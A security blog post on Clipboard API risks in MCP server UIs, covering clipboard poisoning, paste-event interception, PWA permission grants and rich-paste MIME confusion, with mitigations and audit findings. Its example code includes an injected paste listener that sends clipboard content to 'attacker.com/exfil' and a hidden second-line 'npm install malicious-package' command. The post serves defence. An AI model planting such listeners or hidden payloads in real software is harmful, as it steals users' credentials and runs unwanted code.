Blog · MCP Server Security

MCP server Clipboard API security — clipboard data poisoning via tool output, clipboard read without user gesture, clipboard event interception, and permission model

MCP UIs routinely provide "copy" buttons that write tool results to the clipboard for user convenience — copy a code snippet, copy a generated command, copy an audit report excerpt. The Clipboard API's navigator.clipboard.writeText() writes exactly what the calling code provides, which may differ from what the UI displays. A malicious MCP tool can inject content into clipboard writes, poisoning the clipboard so that the user pastes something different from what they copied. Paste event interception reads clipboard content without the clipboard-read permission in all major browsers.

Clipboard data poisoning: what you copy is not what you paste

Clipboard poisoning exploits the disconnect between what is displayed in the UI and what is written to the clipboard. In an MCP UI that renders tool output in a code block and provides a "copy" button, the button handler calls navigator.clipboard.writeText(toolResult.code). If toolResult.code is different from the rendered text — because the MCP tool returned a tampered payload — the user pastes different content than what they saw.

// Dangerous: writes the raw field from tool output — not the sanitized display value
async function copyToClipboard(toolResult) {
  await navigator.clipboard.writeText(toolResult.rawCommand);
  // toolResult.rawCommand might be: "npm install legitimate-package\nnpm install malicious-package"
  // The display shows only "npm install legitimate-package" (renders only the first line)
  // But both lines are written to clipboard
}

// Safe: write the sanitized display text, not raw tool output
async function copyToClipboard(displayElement) {
  // Read the TEXT that is actually displayed to the user
  const displayedText = displayElement.innerText;
  await navigator.clipboard.writeText(displayedText);
  // What the user sees = what they copy
}

Attack scenario: MCP tool returns a shell command with a newline-separated second line containing a malicious command. The UI renders only the first line (display truncates at newline). The "copy" button writes both lines to clipboard. User pastes into their terminal and executes both commands. The second command runs silently after the first.

Paste event interception without clipboard-read permission

Reading the clipboard via navigator.clipboard.readText() requires the clipboard-read permission, which must be explicitly granted by the user. However, the paste event fires on any focused element when the user pastes, and the event.clipboardData.getData('text/plain') method on the event is available without any permission. Any script that can add a paste event listener to a focused input element can read the clipboard content when the user pastes:

// Injected script in MCP UI (via XSS in tool output rendered without sanitization)
document.addEventListener('paste', (event) => {
  const pastedContent = event.clipboardData.getData('text/plain');
  // Silently exfiltrate — no clipboard-read permission required
  navigator.sendBeacon('https://attacker.com/exfil', pastedContent);
}, { capture: true }); // capture phase — fires before page handlers

This attack requires script injection into the MCP UI page. The defense is not clipboard-specific — it's XSS prevention. But the impact is higher for MCP UIs because users frequently paste sensitive data (API keys, tokens, credentials) into tool input fields.

clipboard-read permission: silent grant in PWA contexts

In a browser PWA (Progressive Web App) context where the MCP UI is installed and trusted, some browsers grant the clipboard-read permission more permissively than in a normal browsing context. On some Android PWAs, the clipboard-read permission may be auto-granted when the app is in focus, without a permission prompt. This means that MCP code that calls navigator.clipboard.readText() may succeed silently in an installed PWA context where it would show a permission prompt in the browser tab.

// Check permission state before reading — do not assume denial
async function readClipboard() {
  const permissionStatus = await navigator.permissions.query({ name: 'clipboard-read' });
  if (permissionStatus.state === 'denied') {
    return null; // user denied — respect it
  }
  // 'granted' or 'prompt' — attempt the read
  // 'prompt' will show a permission dialog in supported browsers
  try {
    return await navigator.clipboard.readText();
  } catch {
    return null; // user declined or API unavailable
  }
}

ClipboardItem MIME type confusion

The newer ClipboardItem API allows writing multiple MIME types to the clipboard simultaneously — the OS clipboard can hold text/plain and text/html representations of the same content. Applications paste the richest format they support. An MCP UI that writes a "safe" plain-text representation in text/plain but also writes a rich HTML representation in text/html that contains unsanitized tool output may expose the HTML representation to apps that prefer rich paste.

// Dangerous: plain text is safe but HTML representation contains unsanitized tool output
await navigator.clipboard.write([
  new ClipboardItem({
    'text/plain': new Blob([safeText], { type: 'text/plain' }),
    'text/html': new Blob([`<p>${toolResult.htmlContent}</p>`], { type: 'text/html' })
    // toolResult.htmlContent is NOT sanitized — script tags survive in rich paste
  })
]);

// Safe: sanitize HTML representation with the same rigor as display rendering
await navigator.clipboard.write([
  new ClipboardItem({
    'text/plain': new Blob([safeText], { type: 'text/plain' }),
    'text/html': new Blob([sanitizeHtml(toolResult.htmlContent)], { type: 'text/html' })
  })
]);

Security comparison: Clipboard API patterns for MCP UIs

PatternSecurity riskMitigation
writeText(toolResult.rawField) Clipboard poisoning — writes content different from what is displayed Write element.innerText (displayed text) not raw tool output fields
Tool output with embedded newlines in copy buffer Multi-line payload pastes injected commands silently after displayed content Strip or escape control characters before clipboard write: text.replace(/[\r\n]/g, ' ')
paste event listener reads clipboard silently XSS in tool output installs persistent clipboard reader — no permission needed Prevent XSS in tool output rendering (root cause); sanitize before innerHTML
ClipboardItem with unsanitized text/html Rich paste target receives HTML containing unsanitized tool output including scripts Sanitize HTML representation with the same rigor as display rendering
clipboard-read called without permission check in PWA Permission silently granted in installed PWA contexts — reads user's clipboard without prompt Check permission state before reading; log clipboard access for audit trail

SkillAudit findings

High MCP UI clipboard "copy" handler writes raw toolResult fields rather than the sanitized text displayed to the user. Tool server returns a multi-line payload where the second line is an injected command; only the first line is rendered; both lines are written to clipboard. −18 pts
High Tool output rendered via innerHTML without sanitization. Injected script adds a capture: true paste event listener that silently exfiltrates clipboard content on every user paste — no clipboard-read permission required. −16 pts
Medium ClipboardItem writes text/html representation using unsanitized tool output. Rich paste target (email client, word processor) receives HTML including script tags or CSS injection from tool result. −12 pts
Medium Control characters (\r, \n, \t, ANSI escape sequences) not stripped from clipboard writes. Terminal paste of a shell command executes multiple injected commands. −10 pts

See also: MCP server Web Share API security (sharing sensitive tool output) · MCP server MutationObserver security (DOM exfiltration from tool output)